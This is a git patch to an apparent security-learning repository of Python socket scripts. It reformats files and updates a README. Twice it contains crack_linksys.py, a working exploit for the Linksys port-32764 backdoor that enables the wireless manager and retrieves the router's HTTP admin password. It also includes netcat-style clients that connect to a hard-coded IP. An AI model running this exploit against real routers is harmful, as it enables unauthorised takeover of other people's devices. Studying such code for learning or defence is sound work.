From d01824f424a823dbce62db01df4b24db3b110e5e Mon Sep 17 00:00:00 2001
From: Mari Wahl <mari.wahl9@gmail.com>
Date: Tue, 16 Dec 2014 11:43:30 -0500
Subject: [PATCH] socket adds

---
 Network_and_802.11/802.11/crack_linksys.py    | 25 +++++++++++++++----
 Network_and_802.11/README.md                  | 11 +++++++-
 Network_and_802.11/socket/crack_linksys.py    | 25 +++++++++++++++----
 Network_and_802.11/socket/netcat.py           | 12 ++++++---
 Network_and_802.11/socket/reading_socket.py   |  4 +--
 Network_and_802.11/socket/tcp_client.py       |  6 +++++
 .../{socket => telnetlib}/reading_telnet.py   |  3 +--
 7 files changed, 66 insertions(+), 20 deletions(-)
 create mode 100644 Network_and_802.11/socket/tcp_client.py
 rename Network_and_802.11/{socket => telnetlib}/reading_telnet.py (93%)

diff --git a/Network_and_802.11/802.11/crack_linksys.py b/Network_and_802.11/802.11/crack_linksys.py
index 9305567..a897498 100644
--- a/Network_and_802.11/802.11/crack_linksys.py
+++ b/Network_and_802.11/802.11/crack_linksys.py
@@ -1,3 +1,8 @@
+#!/usr/bin/env python
+
+__author__ = "bt3"
+
+
 import socket
 import struct
 import sys
@@ -7,23 +12,33 @@ HOST = '192.168.33.1'
 PORT = 32764
 
 def send_message(s, message, payload=''):
+
     header = struct.pack('<III', 0x53634D4D, message, len(payload))
     s.send(header+payload)
     response = s.recv(0xC)
+
     if len(response) != 12:
         print("Device is not a crackable Linksys router.")
         print("Recieved invalid response: %s" % response)
         raise sys.exit(1)
+
     sig, ret_val, ret_len = struct.unpack('<III', response)
+
     assert(sig == 0x53634D4D)
+
     if ret_val != 0:
         return ret_val, "ERROR"
     ret_str = ""
+
     while len(ret_str) < ret_len:
-        ret_str += s.recv(ret_len-len(ret_str))
+        ret_str += s.recv(ret_len - len(ret_str))
+
     return ret_val, ret_str
 
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.connect((HOST, PORT))
-send_message(s, 3, "wlan_mgr_enable=1")
-print send_message(s, 2, "http_password")
+
+if __name__ == '__main__':
+
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((HOST, PORT))
+    send_message(s, 3, "wlan_mgr_enable=1")
+    print send_message(s, 2, "http_password")
diff --git a/Network_and_802.11/README.md b/Network_and_802.11/README.md
index fad419c..fd70bd9 100644
--- a/Network_and_802.11/README.md
+++ b/Network_and_802.11/README.md
@@ -20,14 +20,23 @@
 ### socket
 
 - Several scripts with Python's **socket** module:
+    * netcat
+    * cracking linksys
+    * reading socket
     * TCP Client
     * TCP Server
     * UDP Client
 
 
+### telnetlib
+
+- Example of a script to create a telnet connection with Python's **telnetlib** module.
+
+
 ### scapy
 
-- Example scripts with Python's **scapy** module:
+- Several scripts with Python's **scapy** module:
+    * traceroute
 
 
 
diff --git a/Network_and_802.11/socket/crack_linksys.py b/Network_and_802.11/socket/crack_linksys.py
index 9305567..a897498 100644
--- a/Network_and_802.11/socket/crack_linksys.py
+++ b/Network_and_802.11/socket/crack_linksys.py
@@ -1,3 +1,8 @@
+#!/usr/bin/env python
+
+__author__ = "bt3"
+
+
 import socket
 import struct
 import sys
@@ -7,23 +12,33 @@ HOST = '192.168.33.1'
 PORT = 32764
 
 def send_message(s, message, payload=''):
+
     header = struct.pack('<III', 0x53634D4D, message, len(payload))
     s.send(header+payload)
     response = s.recv(0xC)
+
     if len(response) != 12:
         print("Device is not a crackable Linksys router.")
         print("Recieved invalid response: %s" % response)
         raise sys.exit(1)
+
     sig, ret_val, ret_len = struct.unpack('<III', response)
+
     assert(sig == 0x53634D4D)
+
     if ret_val != 0:
         return ret_val, "ERROR"
     ret_str = ""
+
     while len(ret_str) < ret_len:
-        ret_str += s.recv(ret_len-len(ret_str))
+        ret_str += s.recv(ret_len - len(ret_str))
+
     return ret_val, ret_str
 
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.connect((HOST, PORT))
-send_message(s, 3, "wlan_mgr_enable=1")
-print send_message(s, 2, "http_password")
+
+if __name__ == '__main__':
+
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((HOST, PORT))
+    send_message(s, 3, "wlan_mgr_enable=1")
+    print send_message(s, 2, "http_password")
diff --git a/Network_and_802.11/socket/netcat.py b/Network_and_802.11/socket/netcat.py
index 6191150..28a8eda 100644
--- a/Network_and_802.11/socket/netcat.py
+++ b/Network_and_802.11/socket/netcat.py
@@ -1,31 +1,35 @@
 #!/usr/bin/env python
 
-
-__author__ = "bt3gl"
+__author__ = "bt3"
 
 
 import socket
 
+PORT = 12345
+HOSTNAME = '54.209.5.48'
+
 
 def netcat(hostname, port, content):
+
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((hostname, port))
     s.sendall(content)
     s.shutdown(socket.SHUT_WR)
     adata = []
+
     while 1:
         data = s.recv(1024)
         if data == "":
             break
         adata.append(data)
+
     s.close()
+
     return adata
 
 
 
 if __name__ == '__main__':
 
-    PORT = 12345
-    HOSTNAME = '54.209.5.48'
     message = netcat(HOSTNAME, PORT, '')[1]
     print message
\ No newline at end of file
diff --git a/Network_and_802.11/socket/reading_socket.py b/Network_and_802.11/socket/reading_socket.py
index 0e58efe..d4bb6d2 100644
--- a/Network_and_802.11/socket/reading_socket.py
+++ b/Network_and_802.11/socket/reading_socket.py
@@ -1,7 +1,6 @@
 #!/usr/bin/env python
 
-
-__author__ = "bt3gl"
+__author__ = "bt3"
 
 
 import os
@@ -50,7 +49,6 @@ def ntext():
 
 
 
-
 def main():
   SHELL_COMMAND = "nc 54.209.5.48 12345"
 
diff --git a/Network_and_802.11/socket/tcp_client.py b/Network_and_802.11/socket/tcp_client.py
new file mode 100644
index 0000000..f183afc
--- /dev/null
+++ b/Network_and_802.11/socket/tcp_client.py
@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+
+__author__ = "bt3"
+
+
+import socket
diff --git a/Network_and_802.11/socket/reading_telnet.py b/Network_and_802.11/telnetlib/reading_telnet.py
similarity index 93%
rename from Network_and_802.11/socket/reading_telnet.py
rename to Network_and_802.11/telnetlib/reading_telnet.py
index 2752f83..f1e890d 100644
--- a/Network_and_802.11/socket/reading_telnet.py
+++ b/Network_and_802.11/telnetlib/reading_telnet.py
@@ -1,7 +1,6 @@
 #!/usr/bin/env python
 
-
-__author__ = "bt3gl"
+__author__ = "bt3"
 
 
 from telnetlib import Telnet